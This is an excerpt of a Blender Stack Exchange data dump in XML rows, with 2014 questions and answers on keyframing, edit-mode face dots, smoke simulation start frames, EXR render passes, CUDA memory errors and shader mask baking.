  <row Id="18398" PostTypeId="2" ParentId="18396" CreationDate="2014-10-31T11:24:57.597" Score="1" Body="&lt;p&gt;Press &lt;kbd&gt;I&lt;/kbd&gt; to insert/update a keyframe, do this before moving to another position on the timeline. Once pressed, it will give you a choice of what to record. If you have no scaling, use LocRot.&lt;/p&gt;&#xA;" OwnerUserId="7580" LastEditorDisplayName="user1853" LastEditDate="2014-10-31T14:15:38.780" LastActivityDate="2014-10-31T14:15:38.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18399" PostTypeId="1" AcceptedAnswerId="18401" CreationDate="2014-10-31T12:30:49.300" Score="2" ViewCount="787" Body="&lt;p&gt;Blender is not displaying faces with a dot as usual in &lt;em&gt;Edit Mode&lt;/em&gt;, &lt;em&gt;Face Select&lt;/em&gt; mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BpzQt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is Mavericks OSX, Blender 2.72b&lt;/p&gt;&#xA;" OwnerUserId="7783" LastEditorUserId="1363" LastEditDate="2014-10-31T13:21:53.687" LastActivityDate="2014-10-31T13:47:20.150" Title="Displaying faces in edit mode" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18400" PostTypeId="2" ParentId="18389" CreationDate="2014-10-31T13:40:23.633" Score="3" Body="&lt;p&gt;This behavior is normal. The copy rotation in world space will align the rotation axis of the bone with the cube (X with X, Y with Y, Z with Z). If you don't want the bone to rotate 90deg when you add the copy rotation you will have to rotate the bone in edit mode, making sure it aligns with the rotation of the cube (in your example, in edit mode, rotate the bone -90deg in X axis). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rotation in edit mode has an impact on how the bone is oriented in pose mode (in pose mode the Y axis of the bone is the one going from the head to the tail of the bone).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then when you add your constraint to the bone, it shouldn't rotate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopes this makes sens.&lt;/p&gt;&#xA;" OwnerUserId="6039" LastActivityDate="2014-10-31T13:40:23.633" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18401" PostTypeId="2" ParentId="18399" CreationDate="2014-10-31T13:47:20.150" Score="3" Body="&lt;p&gt;Face dots are not displayed if &lt;strong&gt;Textured Solid&lt;/strong&gt; is enabled in &lt;em&gt;3D View &gt;&lt;/em&gt; &lt;kbd&gt;N&lt;/kbd&gt;&lt;em&gt;-panel &gt; Shading&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Odd theme colors could make it hard to see the face dots, but that's not the reason in your case. Unselected faces use the wire color for both, the edges and the face dot, which is light purple in your screenshot (so clearly distinguishable from the surroundings).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As last resort, &lt;a href=&quot;https://developer.blender.org/maniphest/task/create/?project=2&amp;amp;type=Bug&quot; rel=&quot;nofollow&quot;&gt;submit a bug report&lt;/a&gt; to the tracker.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-10-31T13:47:20.150" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18402" PostTypeId="1" AcceptedAnswerId="18416" CreationDate="2014-10-31T16:12:43.097" Score="4" ViewCount="3477" Body="&lt;p&gt;In Blender is possible to take a certain frame of smoke simulation and use as a initial simulation frame, in Maya it was possible but seems in Blender I can not find a good solution, for example I want to add smoke effect on a motion-tracked car, and in frame 50 i want the smoke begin with that frame.&lt;/p&gt;&#xA;" OwnerUserId="1328" LastActivityDate="2015-07-18T16:44:10.843" Title="For smoke how can I take certain frame of smoke and use as initial frame?" Tags="&lt;smoke-simulation&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18403" PostTypeId="2" ParentId="18396" CreationDate="2014-10-31T16:23:24.333" Score="0" Body="&lt;p&gt;There are different ways to edit, one way is to override the key frame with &quot;I&quot; or right click on a parameter and add/replace key, best way is go to graph-editor (click on down-left side of every view and choose) and select the curve of that animation of object, you can select any key and move to see the effect. &lt;/p&gt;&#xA;" OwnerUserId="1328" LastActivityDate="2014-10-31T16:23:24.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18404" PostTypeId="2" ParentId="5615" CreationDate="2014-10-31T16:35:22.427" Score="4" Body="&lt;p&gt;There is a free addon for blender name &quot;Molecular&quot;&#xA;this addon is exactly what you need&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pyroevil.com/category/scripts-addons/molecular-script/&quot; rel=&quot;nofollow&quot;&gt;http://pyroevil.com/category/scripts-addons/molecular-script/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?233643-Addon-Moleculars-physics&quot; rel=&quot;nofollow&quot;&gt;http://blenderartists.org/forum/showthread.php?233643-Addon-Moleculars-physics&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1328" LastActivityDate="2014-10-31T16:35:22.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18405" PostTypeId="2" ParentId="2576" CreationDate="2014-10-31T17:37:22.923" Score="3" Body="&lt;p&gt;I don't think there is a limit. In my experience &lt;strong&gt;EXR Multilayer Feature&lt;/strong&gt; works really great in Blender. Make sure that:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;you have &lt;strong&gt;file permissions to write&lt;/strong&gt; on your drive, &lt;/li&gt;&#xA;&lt;li&gt;it is not &lt;strong&gt;a compositor issue&lt;/strong&gt; or &lt;/li&gt;&#xA;&lt;li&gt;you are &lt;strong&gt;not running out of memory&lt;/strong&gt;. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I once rendered an image which needs to be a 30K EXR Multilayer with all possible passes included, &lt;strong&gt;file size was about 12gb&lt;/strong&gt;. Rendering and Saving as EXR works as expected, but finally the &lt;strong&gt;image resolution was to high for the current compositor (2.71) so I can't do the compositing in blender&lt;/strong&gt;. That's why I suggest you to &lt;strong&gt;disable all post processing image operations&lt;/strong&gt; for the rendering process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For rendering EXRs with Cycles &lt;a href=&quot;https://blender.stackexchange.com/questions/16251/how-to-render-a-30k-image-with-cycles&quot;&gt;this answer&lt;/a&gt; is also helpful. In this post Brecht even mentioned that rendering EXRs is the only way to write and render the image at the same time. With that in mind it even makes sense to render as EXR for large filesize images.&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2014-12-27T19:49:18.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18406" PostTypeId="2" ParentId="16152" CreationDate="2014-10-31T18:18:04.180" Score="39" Body="&lt;h3&gt;Single EXRs or Multilayer?&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;First you have to decide what type of OpenEXR you want to render:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;OpenEXR to get single files&lt;/strong&gt; of your passes or channels/layers&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;EXR Multilayer to get a multi-channel file&lt;/strong&gt; with all your passes or channels/layers included&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This decision really depends on your &lt;strong&gt;further workfow&lt;/strong&gt;. For e.g. Blender or Nuke it's much more useful to have one multi-channel EXR, but in Photoshop, After Effects or Fusion it's easier to use single EXRs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the context of the Layer Management the &lt;strong&gt;EXR Multilayer term is quite confusing&lt;/strong&gt;. For this reason and also to consider the &lt;a href=&quot;http://en.wikipedia.org/wiki/OpenEXR&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;OpenEXR concept&lt;/strong&gt;&lt;/a&gt; it should be named &lt;strong&gt;EXR Multichannel&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;Passes/AOV's&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Then you have to decide &lt;strong&gt;which passes are key for compositing&lt;/strong&gt;. In the view Layer tab-&gt;Passes section of the properties editor select the passes you need:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WG3u8.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WG3u8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For 2.79 and earlier: In Scene Tab you can &lt;strong&gt;enable all standard&lt;/strong&gt; &lt;code&gt;passes&lt;/code&gt; of the render engine and &lt;strong&gt;create individual&lt;/strong&gt; &lt;code&gt;render layers&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CGbIL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are ready to render if &lt;code&gt;Multilayer EXR&lt;/code&gt; fits your needs. Blender automatically writes all enabled passes and layers as single channels to the EXR as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you choose &lt;code&gt;OpenEXR&lt;/code&gt;, Blender only saves the &lt;strong&gt;beauty pass&lt;/strong&gt; &lt;em&gt;(final render)&lt;/em&gt; although other passes are selected. To save all your passes or channels/layers separately is only possible with the help of the &lt;strong&gt;image compositor&lt;/strong&gt;. In this case you have to create a &lt;code&gt;file output node&lt;/code&gt; and &lt;code&gt;add new input slots&lt;/code&gt; in the properties of the node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PyND1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still the same for Blender 2.8x:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rxgrd.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rxgrd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;file output node&lt;/code&gt; makes it possible, whether &lt;code&gt;OpenEXR&lt;/code&gt; or &lt;code&gt;EXR Multilayer&lt;/code&gt;, but especially in the &lt;strong&gt;multilayer case&lt;/strong&gt;, that you can unleash the full power of the format and &lt;strong&gt;pack your custom channels&lt;/strong&gt; e.g. mattes or backgrounds like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4pRO6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; If a 'Z pass' is required, check out these answers: &lt;a href=&quot;https://blender.stackexchange.com/questions/1555/how-can-i-get-a-depth-of-field-render-pass&quot;&gt;How can I get a Depth of field render pass?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;Cycles light passes for reference&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/l6ddf.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/l6ddf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further explanation in the manual: &lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/layers/passes.html&quot; rel=&quot;noreferrer&quot;&gt;https://docs.blender.org/manual/en/latest/render/layers/passes.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;Tlousky's production script&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;To speed up this process you can also use &lt;a href=&quot;https://github.com/Tlousky/production_scripts/blob/master/save_all_renderlayers_and_passes.py&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;Tlousky's production script&lt;/strong&gt;&lt;/a&gt;. &lt;strong&gt;It automatically creates a file output node&lt;/strong&gt; based on your &lt;code&gt;enabled passes&lt;/code&gt; and your &lt;code&gt;output directory&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iBTJ1.jpg&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note:&lt;/em&gt; It's not updated since blender 2.69 that's why some passes are currently not supported.&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="31447" LastEditDate="2020-05-10T15:29:49.490" LastActivityDate="2020-05-10T15:29:49.490" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18407" PostTypeId="1" AcceptedAnswerId="18408" CreationDate="2014-10-31T18:51:25.197" Score="11" ViewCount="49779" Body="&lt;p&gt;I've been struggling a little with Cycles and my GeForce GTX 750 graphic card. Most of the time it works well, but when I try to work with scenes that have custom shaders (like a skin shader with multiple textures, including for displacement), I get an error, both on the viewport and at rendering:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Cancel | CUDA error: Out of memory in cuLaunchKernel(cuPathTrace, xblocks, yblocks, 1, xthreads, ythreads, 1, 0, 0, args, 0)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Or something like that. Here's a screenshot so you can check it out:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/veseG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using a PC and Windows 7, with 8Gb of RAM. I can't render this scene with GPU, but using CPU, it renders ok.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: What is causing this issue? I have the latest drivers installed for my graphic card, so I have no idea what this is.&lt;/p&gt;&#xA;" OwnerUserId="7791" LastEditorUserId="22990" LastEditDate="2016-04-11T08:15:30.427" LastActivityDate="2020-10-10T15:18:35.200" Title="Cycles / CUDA Error: Out of Memory" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;gpu&gt;" AnswerCount="7" CommentCount="7" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18408" PostTypeId="2" ParentId="18407" CreationDate="2014-10-31T20:01:06.937" Score="8" Body="&lt;p&gt;The short answer is that &lt;em&gt;SSS&lt;/em&gt; on the &lt;em&gt;GPU&lt;/em&gt; eats up a lot of memory, so much so that it is recommended to have more than 1 GB of memory on for your GPU. This was mentioned in one of the videos from the Blender Conference (unfortunately I can't remember which one). Updating your drivers won't really help as that can't add more memory, so for now you are stuck with having to render on the CPU. If you have multiple objects that have &lt;em&gt;SSS&lt;/em&gt; shaders on them then you could try just rendering one at a time and then compositing them back together.&lt;/p&gt;&#xA;" OwnerUserId="2617" LastActivityDate="2014-10-31T20:01:06.937" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18409" PostTypeId="1" CreationDate="2014-10-31T22:14:25.943" Score="8" ViewCount="1981" Body="&lt;p&gt;I'm new to Blender and have a question regarding modeling of realistic scaled objects.&lt;br&gt;&#xA;I'm modeling a complex shaped bottle and I would like to scale it (using metric values) to hold a specific volume of water.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More specifically:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I know the volume of water - 0.5 liters.&lt;/li&gt;&#xA;&lt;li&gt;I have the bottle model.&lt;/li&gt;&#xA;&lt;li&gt;I want to know the realistic dimensions in millimeters of the bottle model that would hold 0.5 liters(it's diameter along it's height etc).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Doing this with a simple shape (e.g. cube or cylinder) is easy to calculate but for a more complex object it's not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, is it possible to simulate flow of a specific quantity of liquid? In that way I could fill the model and in a few iterations have the right proportions.&lt;/p&gt;&#xA;" OwnerUserId="7793" LastEditorUserId="2217" LastEditDate="2014-10-31T22:22:45.613" LastActivityDate="2014-11-30T14:19:36.673" Title="How to calculate specific liquid volume?" Tags="&lt;fluid-simulation&gt;&lt;units&gt;&lt;measurement&gt;" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18410" PostTypeId="2" ParentId="18382" CreationDate="2014-10-31T22:25:50.640" Score="4" Body="&lt;p&gt;You can do that Very simply using a Boolean property and pressing &lt;kbd&gt;W&lt;/kbd&gt; to start it moving continuously and pressing &lt;kbd&gt;W&lt;/kbd&gt; again to stop. See logic setup below&#xA;&lt;a href=&quot;https://i.stack.imgur.com/3YS1z.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3YS1z.png&quot; alt=&quot;W to start and stop&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;Or you can have &lt;kbd&gt;W&lt;/kbd&gt; make it start and &lt;kbd&gt;S&lt;/kbd&gt; make it stop by using the setup below &#xA;&lt;a href=&quot;https://i.stack.imgur.com/e00wi.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/e00wi.png&quot; alt=&quot;more complicated logic setup&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Working blend file with Boolean property&#xA;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/92/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=92&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-03-11T02:15:56.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18411" PostTypeId="2" ParentId="18271" CreationDate="2014-11-01T00:45:59.783" Score="5" Body="&lt;p&gt;Try defining an axis for the tangent input with a &lt;em&gt;tangent&lt;/em&gt; node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/33Fys.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, for the effect in your first screenshot, it should be the axis perpendicular with the flat front of the object. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note that the tangent node uses local coordinates.&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;It probably was working fine until you applied the scale to the objects. By default the &lt;em&gt;tangent&lt;/em&gt; uses the object's local Z axis. When the scale is applied, the object's local Z was aligned with the global Z (which is not perpendicular to the &quot;front&quot; of your object). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you rotate the object -90&amp;deg; in edit mode then rotate it back 90&amp;deg; in object mode so that the object's local Z points out from the center of the disk:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oAKlt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then it will work with the default tangent:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yMo6U.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-11-01T00:56:49.110" LastActivityDate="2014-11-01T00:56:49.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18413" PostTypeId="2" ParentId="18362" CreationDate="2014-11-01T08:00:54.843" Score="3" Body="&lt;p&gt;Shaders can be made to use several different types of masks but the types of passes available for baking are currently limited but this can be overcome with a bit of extra setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cycles works well for doing this but the masks are not necessarily all going to translate over to other rendering engines perfectly calibrated.  Some fine-tuning is likely to be necessary whether you use Cycles or Blender Internal for creating masks for other renderers since everyone uses slightly different(or very different) math for their shaders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following is an example of how you can bake an Exponent mask(Roughness) using Cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This first image shows 1 object that has 2 materials.  Each material is a Glossy node and they both have different values for Roughness.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nVDsQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can bake these values to a texture by using Emission Nodes with the strength value set to the same Roughness used for the Glossy shaders.  This will bake a black and white mask that has the values for Roughness baked in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/W78X9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sphere on the left is using only one material now instead of 2 and uses the baked texture to control the roughness for both surfaces.  The sphere on the right is still using 2 different shaders to control both surfaces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a diagram that attempts to show the part of the shader formula which is making use of the Exponent mask that was just baked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/agTEx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also bake what people are calling a 'metalness' mask using the same technique shown above using Emission shaders for the exponent mask values. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a turntable animation the shows several different masks in use to control only one GLSL shader for the armor.  Notice how the specular bright-spot's radius changes as the light plays across the bronze color to the plastic parts and then across the Blender Logo.  It's a specular exponent mask that controls the highlight's radius.  The shader also uses a masks to control the different paths the GLSL shader code will take since it's programmed for more than one type of effect.(sort of like a mini uber-shader)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://vimeo.com/109779858&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://vimeo.com/109779858&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Extra reading&lt;/em&gt;&lt;/strong&gt;: If you have a look at the following diagram for Valves DOTA2 modding documentation, you will see that there are several types of masks used to control various aspects of their shaders and since many of them are greyscale, 4 different masks can be stacked into just 1 texture.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sQWAF.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Here's the Title and link for the Valve PDF&lt;br&gt;&#xA;DOTA 2 - Character Shader Masks Guide&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://media.steampowered.com/apps/dota2/workshop/Dota2ShaderMaskGuide.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://media.steampowered.com/apps/dota2/workshop/Dota2ShaderMaskGuide.pdf&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2015-05-27T17:37:24.210" LastActivityDate="2015-05-27T17:37:24.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18414" PostTypeId="1" CreationDate="2014-11-01T08:01:23.270" Score="1" ViewCount="820" Body="&lt;p&gt;I have a simple rigid body animation that won't preview.&#xA;The diamond object docent react to the floor as it should when previewing. &#xA;The Other 2 objects in my scene do react correctly. My blender file can&#xA;be downloaded here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/jv0fseluf3gsnam/Diamond%20test.blend?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dropbox.com/s/jv0fseluf3gsnam/Diamond%20test.blend?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone help with advice on this please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gOhyv.jpg&quot; alt=&quot;rigid body animation that won&amp;#39;t preview&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="7796" LastActivityDate="2014-11-01T12:33:45.500" Title="Rigid body object animation won't preview or play?" Tags="&lt;modeling&gt;&lt;animation&gt;&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="3" ClosedDate="2014-11-02T11:42:22.003" ContentLicense="CC BY-SA 3.0" />
  <row Id="18415" PostTypeId="2" ParentId="18402" CreationDate="2014-11-01T08:45:42.097" Score="0" Body="&lt;p&gt;The start frame of the smoke simulation can be set in the smoke domain's smoke cache:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PlIMj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that it is required to save the .blend file first, otherwise the settings will be disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Smoke/Baking&quot; rel=&quot;nofollow noreferrer&quot;&gt;Baking Smoke Simulations&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-11-01T08:45:42.097" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18416" PostTypeId="2" ParentId="18402" CreationDate="2014-11-01T09:06:32.050" Score="4" Body="&lt;p&gt;I found the solution, This works nicely, first you should bake all dynamics to external file, just check &quot;External&quot; in Smoke Cache section of Domain fluid and use folder you want to cache, then you see name of cache by numbers, for example &quot;_000001_00.bphys&quot; and &quot;_000002_00.bphys&quot; and so on, remove all frames until 50 and use frame rename frame 50 to &quot;_000001_00.bphys&quot;, this will instantly update in viewport of blender and you see frame 1 or 0 is using frame 50 simulation, but you must offset all the name of frames regard to that frame, 50-&gt;01, 51-&gt;02 and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;:&#xA;another solution for using in conjuction with motion track is to move all the motion track data/keyframes +50 frames, as this post suggested,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?353329-How-to-have-initial-state-for-smoke-simulation&quot; rel=&quot;nofollow&quot;&gt;http://blenderartists.org/forum/showthread.php?353329-How-to-have-initial-state-for-smoke-simulation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 2&lt;/strong&gt;:&#xA;Also just use frame 50 as initial frame, and remove all frames include after ones cause blender start simulate from initial frame, so no need to rename all other frames of caches, just re play again and blender will automatically cache data (do not free the cache).&lt;/p&gt;&#xA;" OwnerUserId="1328" LastEditorUserId="1328" LastEditDate="2014-11-01T11:23:52.867" LastActivityDate="2014-11-01T11:23:52.867" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18417" PostTypeId="2" ParentId="18414" CreationDate="2014-11-01T12:33:45.500" Score="0" Body="&lt;p&gt;Run the simulation &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;A&lt;/kbd&gt; until all frames have been displayed, this causes a real time bake. After that it should work fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wICXK.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-11-01T12:33:45.500" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18418" PostTypeId="1" CreationDate="2014-11-01T13:57:54.197" Score="9" ViewCount="2546" Body="&lt;p&gt;Is it possible to render with cycles a 3D texture from discrete image data (eg. image sequence)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I'm trying to get volume rendering of medical data with cycles.&lt;/p&gt;&#xA;" OwnerUserId="7799" LastEditorUserId="2217" LastEditDate="2014-11-01T14:04:08.783" LastActivityDate="2014-11-01T21:01:07.930" Title="cycles volume rendering 3D image texture (CT or MR dataset)" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;volumetrics&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
